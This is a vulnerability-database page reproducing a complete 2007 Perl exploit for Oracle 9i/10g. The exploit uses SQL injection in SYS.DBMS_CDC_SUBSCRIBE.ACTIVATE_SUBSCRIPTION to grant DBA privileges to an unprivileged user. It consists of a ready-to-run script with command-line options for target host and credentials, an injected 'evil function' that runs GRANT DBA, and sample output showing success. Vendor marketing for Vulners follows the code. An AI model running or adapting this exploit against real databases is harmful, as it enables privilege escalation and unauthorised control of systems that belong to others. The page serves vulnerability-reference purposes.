Lucene search
K

Oracle 9i/10g ACTIVATE_SUBSCRIPTION SQL Injection Exploit

🗓️ 01 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Remote Oracle DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION exploit for 9i/10g. Grant or revoke DBA permission to unprivileged user. Requires Oracle InstantClient

Code

                                                #!/usr/bin/perl
#
# Remote Oracle DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION exploit (9i/10g)
#
# Grant or revoke dba permission to unprivileged user
# 
# Tested on \"Oracle Database 10g Enterprise Edition Release 10.1.0.3.0\"
# 
#   REF:    http://www.securityfocus.com/archive/1/396133
#
#   AUTHOR: Andrea \"bunker\" Purificato
#           http://rawlab.mindcreations.com
#
#   DATE:   Copyright 2007 - Fri Feb 23 12:44:18 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@fin:~$ perl dbms_cdc_subscribe.pl -h localhost -s test -u bunker -p **** -r
#  [-] Wait...
#  [-] Revoking DBA from BUNKER...
#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement \"REVOKE DBA FROM BUNKER\"] at dbms_cdc_subscribe.pl line 91.
#  [-] Done!
# 
# bunker@fin:~$ perl dbms_cdc_subscribe.pl -h localhost -s test -u bunker -p **** -g
#  [-] Wait...
#  [-] Creating evil function...
#  [-] Go ...(don\'t worry about errors)!
#  DBD::Oracle::st execute failed: ORA-31425: subscription does not exist
#  ORA-06512: at \"SYS.DBMS_CDC_SUBSCRIBE\", line 37
#  ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement \"
#  BEGIN
#   SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION(\'\'\'||BUNKER.own||\'\'\');
#  END;
#  \"] at dbms_cdc_subscribe.pl line 114.
#  [-] YOU GOT THE POWAH!!
#
# bunker@fin:~$ perl dbms_cdc_subscribe.pl -h localhost -s test -u bunker -p **** -r
#  [-] Wait...
#  [-] Revoking DBA from BUNKER...
#  [-] Done!
#  

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;<<\"USAGE\";
&nbsp;&nbsp;&nbsp;&nbsp;
Syntax:&nbsp;$0&nbsp;-h&nbsp;<host>&nbsp;-s&nbsp;<sid>&nbsp;-u&nbsp;<user>&nbsp;-p&nbsp;<passwd>&nbsp;-g|-r&nbsp;[-P&nbsp;<port>]

Options:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<host>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;server&nbsp;address
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<sid>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;sid&nbsp;name
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-u&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<user>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-p&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<passwd>&nbsp;&nbsp;&nbsp;password&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-g|-r&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(g)rant&nbsp;dba&nbsp;to&nbsp;user&nbsp;|&nbsp;(r)evoke&nbsp;dba&nbsp;from&nbsp;user
&nbsp;&nbsp;&nbsp;&nbsp;[-P&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<port>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Oracle&nbsp;port]

USAGE
&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;0
}

my&nbsp;$opt_string&nbsp;=&nbsp;\'h:s:u:p:grP:\';
getopts($opt_string,&nbsp;\\%opt)&nbsp;or&nbsp;&usage;
&usage&nbsp;if&nbsp;(&nbsp;!$opt{h}&nbsp;or&nbsp;!$opt{s}&nbsp;or&nbsp;!$opt{u}&nbsp;or&nbsp;!$opt{p}&nbsp;);
&usage&nbsp;if&nbsp;(&nbsp;!$opt{g}&nbsp;and&nbsp;!$opt{r}&nbsp;);
my&nbsp;$user&nbsp;=&nbsp;uc&nbsp;$opt{u};

my&nbsp;$dbh&nbsp;=&nbsp;undef;
if&nbsp;($opt{P})&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$dbh&nbsp;=&nbsp;DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}\",&nbsp;$opt{u},&nbsp;$opt{p})&nbsp;or&nbsp;die;
}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$dbh&nbsp;=&nbsp;DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s}\",&nbsp;$opt{u},&nbsp;$opt{p})&nbsp;or&nbsp;die;
}

my&nbsp;$sqlcmd&nbsp;=&nbsp;\"GRANT&nbsp;DBA&nbsp;TO&nbsp;$user\";
print&nbsp;\"[-]&nbsp;Wait...
\";

if&nbsp;($opt{r})&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"[-]&nbsp;Revoking&nbsp;DBA&nbsp;from&nbsp;$user...
\";
&nbsp;&nbsp;&nbsp;&nbsp;$sqlcmd&nbsp;=&nbsp;\"REVOKE&nbsp;DBA&nbsp;FROM&nbsp;$user\";
&nbsp;&nbsp;&nbsp;&nbsp;$dbh->do(&nbsp;$sqlcmd&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"[-]&nbsp;Done!
\";
&nbsp;&nbsp;&nbsp;&nbsp;$dbh->disconnect;
&nbsp;&nbsp;&nbsp;&nbsp;exit;
}

print&nbsp;\"[-]&nbsp;Creating&nbsp;evil&nbsp;function...
\";
$dbh->do(&nbsp;qq{
CREATE&nbsp;OR&nbsp;REPLACE&nbsp;FUNCTION&nbsp;OWN&nbsp;RETURN&nbsp;NUMBER&nbsp;
&nbsp;AUTHID&nbsp;CURRENT_USER&nbsp;AS&nbsp;
&nbsp;PRAGMA&nbsp;AUTONOMOUS_TRANSACTION;&nbsp;
BEGIN
&nbsp;EXECUTE&nbsp;IMMEDIATE&nbsp;\'$sqlcmd\';&nbsp;COMMIT;&nbsp;
&nbsp;RETURN(0);
END;
}&nbsp;);
&nbsp;
print&nbsp;\"[-]&nbsp;Go&nbsp;...(don\'t&nbsp;worry&nbsp;about&nbsp;errors)!
\";
my&nbsp;$sth&nbsp;=&nbsp;$dbh->prepare(qq{
BEGIN
&nbsp;SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION(\'\'\'||$user.own||\'\'\');
END;
});
$sth->execute;
$sth->finish;
print&nbsp;\"[-]&nbsp;YOU&nbsp;GOT&nbsp;THE&nbsp;POWAH!!
\";
$dbh->disconnect;
exit;

&nbsp;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation